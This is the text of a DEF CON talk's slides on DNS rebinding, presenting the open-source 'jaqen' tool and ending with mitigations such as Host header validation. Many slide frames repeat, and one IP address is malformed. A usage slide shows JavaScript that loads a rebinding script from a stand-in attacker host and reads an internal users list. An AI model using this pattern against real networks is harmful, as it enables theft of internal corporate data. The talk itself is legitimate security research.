There’s no place like 127.0.0.1
Achieving “reliable” DNS rebinding in modern browsers
$ whoami
Luke Young - Sr. Information Security Engineer at LinkedIn
Email: lyoung@linkedin.com or luke@bored.engineer
LinkedIn: www.linkedin.com/in/bored-engineer
3rd year at DEF CON
Attacking Network Infrastructure to Generate a 4 Tb/s DDoS for $5
Investigating the Practicality and Cost of Abusing Memory Errors
Agenda
Establishing Acme Corporation
Understanding DNS Rebinding
Automating DNS Rebinding
Practical Exploits
Demo!
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
attackerdoma.in code.corp.acme.com
#include <iostream>
int main()
{
std::cout << "Hello, world!n";
}
HelloWorld.cpp:
Secrets.txt:
Billion $ Business Plan:
Same-origin policy refresher
evil.js GET /CompanySecrets.txt
attackerdoma.in code.corp.acme.com
#include <iostream>
int main()
{
std::cout << "Hello, world!n";
}
HelloWorld.cpp:
Secrets.txt:
Billion $ Business Plan:
Same-origin policy refresher
evil.js
SOP
GET /CompanySecrets.txt
attackerdoma.in code.corp.acme.com
#include <iostream>
HelloWorld.cpp:
Same-origin policy refresher
evil.js
SOP
attackerdoma.in
cors.example.com
GET /CompanySecrets.txt
GET /SomeFile.txt
subdomain.attackerdoma.inGET /SomeFile.txt
GET /SomeFile.txt
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 2 - 137.137.137.137
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
Host: rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
Host: rebind.attackerdoma.in
HTTP GET /
Host: rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
Host: rebind.attackerdoma.in
HTTP GET /
Host: rebind.attackerdoma.in
200 OK
<script>let DNSRebind…
200 OK
<script>let DNSRebind…
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 60 - 10.0.0.99
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
200 OK
Billion $ Business Plan
browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)
rebind.attackerdoma.in
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
HTTP GET /Secrets.txt
Host: rebind.attackerdoma.in
200 OK
Billion $ Business Plan
200 OK
Billion $ Business Plan
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer
DNS Rebinding Gotcha’s
Chris has to visit the malicious webpage
We required internal knowledge of the Acme network
We had to know the internal IP of code.corp.acme.com beforehand
Notoriously unreliable
Visiting the malicious webpage
Drive-by malicious ads
Phishing
etc
Internal knowledge of the target network
Know code.corp.acme.com exists
Know it lacked authentication
Know that “secrets.txt” is located there
Internal IP of code.corp.acme.com
CNAME code.corp.acme.com
Let the internal DNS resolver do the work for us
DNS Rebinding Unreliability
DNS Rebinding Unreliability
Browser DNS Caches
OS DNS Caches
Nameserver DNS Caches
Browser Protections
Additional Network Protections
General Hacky-ness
Browser DNS caches
OS DNS caches
Nameserver DNS caches
Browser Protections
DNS Record Pinning
Blacklist ports
Some failed attempts at detection
Network Protections
General Hacky-ness
We’ll come back to this…
Why isn’t this fixed yet?
It’s not the browser’s fault, and it’s not easy to fix.
“I'd also recommend that Firefox not fix this issue.  It's not feasible for the
browser to protect the user from DNS rebinding attacks.  Servers need to
protect themselves by validating the Host header and firewalls need to
protect themselves by preventing external names from resolving to internal
IP addresses.” - Commenter on Mozilla Firefox Bug 689835
HTTP 0.9
General Hacky-ness
I promised that we’ll come back to this…
Reliable DNS Rebinding - Jaqen
On the fly IP/port allocation
Dynamic payloads
“Intelligent” method selection
IPv6 and IPv4 support
TTLRebind
Relies on TTL expiration
First request triggers change
Exponential back-off TTLs (1, 2, 4, 8, 16, etc)
TTLRebind
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
ThresholdRebind
Relies on second DNS request
First request above threshold triggers change
ThresholdRebind
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
MultiRecordRebind
No actual DNS rebind
Requires a pool of IPs to allocate
Nearly instant
Most expensive method to host
MultiRecordRebind
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
Usage
<script src=“http://rebind.attackerdoma.in/js”></script>
<script>
let r = new DNSRebind();
const target = "http://internal.corp.acme.com/users";
r.fetch(target).then((resp) => resp.json()).then((users) => {
alert("Extracted the following users:n" + users.join("n"));
}, (e) => console.error(e));
</script>
Demo?
Suggested mitigations
Add strong authentication
Protect at network border
Add TLS
Verify Host header
Future of jaqen
Bug fixes. Lots of bug fixes.
Dockerize?
Automated browser testing
$ exit
Luke Young - (lyoung@linkedin.com)
Personal Blog (with slides): bored.engineer
LinkedIn Blog Post: security.linkedin.com/blog
GitHub: github.com/linkedin/jaqen

There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers

  • 1.
    There’s no placelike 127.0.0.1 Achieving “reliable” DNS rebinding in modern browsers
  • 2.
    $ whoami Luke Young- Sr. Information Security Engineer at LinkedIn Email: lyoung@linkedin.com or luke@bored.engineer LinkedIn: www.linkedin.com/in/bored-engineer 3rd year at DEF CON Attacking Network Infrastructure to Generate a 4 Tb/s DDoS for $5 Investigating the Practicality and Cost of Abusing Memory Errors
  • 3.
    Agenda Establishing Acme Corporation UnderstandingDNS Rebinding Automating DNS Rebinding Practical Exploits Demo!
  • 4.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 5.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 6.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 7.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 8.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 9.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 10.
    attackerdoma.in code.corp.acme.com #include <iostream> intmain() { std::cout << "Hello, world!n"; } HelloWorld.cpp: Secrets.txt: Billion $ Business Plan: Same-origin policy refresher evil.js GET /CompanySecrets.txt
  • 11.
    attackerdoma.in code.corp.acme.com #include <iostream> intmain() { std::cout << "Hello, world!n"; } HelloWorld.cpp: Secrets.txt: Billion $ Business Plan: Same-origin policy refresher evil.js SOP GET /CompanySecrets.txt
  • 12.
    attackerdoma.in code.corp.acme.com #include <iostream> HelloWorld.cpp: Same-originpolicy refresher evil.js SOP attackerdoma.in cors.example.com GET /CompanySecrets.txt GET /SomeFile.txt subdomain.attackerdoma.inGET /SomeFile.txt GET /SomeFile.txt
  • 13.
  • 14.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in
  • 15.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 2 - 137.137.137.137
  • 16.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137
  • 17.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 HTTP GET / Host: rebind.attackerdoma.in
  • 18.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 HTTP GET / Host: rebind.attackerdoma.in HTTP GET / Host: rebind.attackerdoma.in
  • 19.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Question(A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 DNS Answer (A) TTL 2 - 137.137.137.137 HTTP GET / Host: rebind.attackerdoma.in HTTP GET / Host: rebind.attackerdoma.in 200 OK <script>let DNSRebind… 200 OK <script>let DNSRebind…
  • 20.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…
  • 21.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in
  • 22.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in
  • 23.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 60 - 10.0.0.99
  • 24.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99
  • 25.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 HTTP GET /Secrets.txt Host: rebind.attackerdoma.in HTTP GET /Secrets.txt Host: rebind.attackerdoma.in
  • 26.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 HTTP GET /Secrets.txt Host: rebind.attackerdoma.in HTTP GET /Secrets.txt Host: rebind.attackerdoma.in 200 OK Billion $ Business Plan
  • 27.
    browser ! Chris dns.corp 10.0.0.1 attackerdoma.in 137.137.137.137 code.corp 10.0.0.99 DNS Q(A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in 200 OK <script> let DNSRebind…200 OK <script> let DNSRebind… DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Question (A) rebind.attackerdoma.in DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 DNS Answer (A) TTL 60 - 10.0.0.99 HTTP GET /Secrets.txt Host: rebind.attackerdoma.in HTTP GET /Secrets.txt Host: rebind.attackerdoma.in 200 OK Billion $ Business Plan 200 OK Billion $ Business Plan
  • 28.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 29.
    Acme Corp -Network Architecture !" # Internet Chris $ corp.acme.com attackerdoma.in % Attacker Corporate Network Code Repository code.corp.acme.com Developer
  • 30.
    DNS Rebinding Gotcha’s Chrishas to visit the malicious webpage We required internal knowledge of the Acme network We had to know the internal IP of code.corp.acme.com beforehand Notoriously unreliable
  • 31.
    Visiting the maliciouswebpage Drive-by malicious ads Phishing etc
  • 32.
    Internal knowledge ofthe target network Know code.corp.acme.com exists Know it lacked authentication Know that “secrets.txt” is located there
  • 33.
    Internal IP ofcode.corp.acme.com CNAME code.corp.acme.com Let the internal DNS resolver do the work for us
  • 34.
  • 35.
    DNS Rebinding Unreliability BrowserDNS Caches OS DNS Caches Nameserver DNS Caches Browser Protections Additional Network Protections General Hacky-ness
  • 36.
  • 37.
  • 38.
  • 39.
    Browser Protections DNS RecordPinning Blacklist ports Some failed attempts at detection
  • 40.
  • 41.
  • 42.
    Why isn’t thisfixed yet? It’s not the browser’s fault, and it’s not easy to fix. “I'd also recommend that Firefox not fix this issue.  It's not feasible for the browser to protect the user from DNS rebinding attacks.  Servers need to protect themselves by validating the Host header and firewalls need to protect themselves by preventing external names from resolving to internal IP addresses.” - Commenter on Mozilla Firefox Bug 689835
  • 43.
  • 44.
    General Hacky-ness I promisedthat we’ll come back to this…
  • 45.
    Reliable DNS Rebinding- Jaqen On the fly IP/port allocation Dynamic payloads “Intelligent” method selection IPv6 and IPv4 support
  • 46.
    TTLRebind Relies on TTLexpiration First request triggers change Exponential back-off TTLs (1, 2, 4, 8, 16, etc)
  • 47.
    TTLRebind ;; QUESTION SECTION: ;00000000-0000-0000-0000-000000000000.jaqen.local.IN A ;; ANSWER SECTION: 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1 ;; QUESTION SECTION: ;00000000-0000-0000-0000-000000000000.jaqen.local. IN A ;; ANSWER SECTION: 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
  • 48.
    ThresholdRebind Relies on secondDNS request First request above threshold triggers change
  • 49.
    ThresholdRebind ;; QUESTION SECTION: ;00000000-0000-0000-0000-000000000000.jaqen.local.IN A ;; ANSWER SECTION: 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1 ;; QUESTION SECTION: ;00000000-0000-0000-0000-000000000000.jaqen.local. IN A ;; ANSWER SECTION: 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
  • 50.
    MultiRecordRebind No actual DNSrebind Requires a pool of IPs to allocate Nearly instant Most expensive method to host
  • 51.
    MultiRecordRebind ;; QUESTION SECTION: ;00000000-0000-0000-0000-000000000000.jaqen.local.IN A ;; ANSWER SECTION: 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1 00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1
  • 52.
    Usage <script src=“http://rebind.attackerdoma.in/js”></script> <script> let r= new DNSRebind(); const target = "http://internal.corp.acme.com/users"; r.fetch(target).then((resp) => resp.json()).then((users) => { alert("Extracted the following users:n" + users.join("n")); }, (e) => console.error(e)); </script>
  • 53.
  • 54.
    Suggested mitigations Add strongauthentication Protect at network border Add TLS Verify Host header
  • 56.
    Future of jaqen Bugfixes. Lots of bug fixes. Dockerize? Automated browser testing
  • 57.
    $ exit Luke Young- (lyoung@linkedin.com) Personal Blog (with slides): bored.engineer LinkedIn Blog Post: security.linkedin.com/blog GitHub: github.com/linkedin/jaqen